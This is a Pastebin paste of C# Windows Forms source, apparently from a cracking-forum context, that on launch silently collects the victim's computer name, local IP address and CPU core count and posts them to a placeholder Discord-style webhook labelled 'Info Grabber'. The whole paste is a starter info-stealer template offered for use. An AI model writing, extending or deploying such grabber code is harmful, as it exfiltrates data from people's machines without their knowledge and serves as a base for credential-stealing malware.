cheesyy

Fetcher

Dec 24th, 2020
380
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.76 KB | None | 0 0
  1. using System;
  2. using System.Collections.Generic;
  3. using System.ComponentModel;
  4. using System.Data;
  5. using System.Drawing;
  6. using System.Linq;
  7. using System.Text;
  8. using System.Threading.Tasks;
  9. using System.Windows.Forms;
  10. using System.Net;
  11. using System.Collections.Specialized;
  12.  
  13. namespace Cracked.to
  14. {
  15. public partial class Form1 : Form
  16. {
  17. string pcName = System.Windows.Forms.SystemInformation.ComputerName;
  18.  
  19. public Form1()
  20. {
  21. InitializeComponent();
  22. }
  23.  
  24. public void fetchData()
  25. {
  26. int cores = Environment.ProcessorCount;
  27. IPHostEntry host;
  28. string localIP = "?";
  29. host = Dns.GetHostEntry(Dns.GetHostName());
  30.  
  31. foreach (IPAddress ip in host.AddressList)
  32. {
  33. if (ip.AddressFamily.ToString() == "InterNetwork")
  34. {
  35. localIP = ip.ToString();
  36. }
  37. }
  38. sendWebHook("YOURWEBHOOKLINK", string.Concat(new string[] { " **PCNAME** " + pcName + " **|** **IP-Address** " + localIP + "**|** **Cores:** " + cores.ToString(), }), "Info Grabber");
  39. timer1.Interval = 3000;
  40. timer1.Tick += timer1_Tick;
  41. timer1.Start();
  42. }
  43.  
  44. private void Form1_Load(object sender, EventArgs e)
  45. {
  46. fetchData();
  47. }
  48.  
  49. public static void sendWebHook(string URL, string msg, string username)
  50. {
  51. HTTPS.Post(URL, new NameValueCollection()
  52. {
  53. { "username", username },
  54. { "content", msg }
  55. });
  56. }
  57.  
  58. private void timer1_Tick(object sender, EventArgs e)
  59. {
  60. timer1.Stop();
  61. }
  62. }
  63. }
  64.  
Advertisement
Add Comment
Please, Sign In to add comment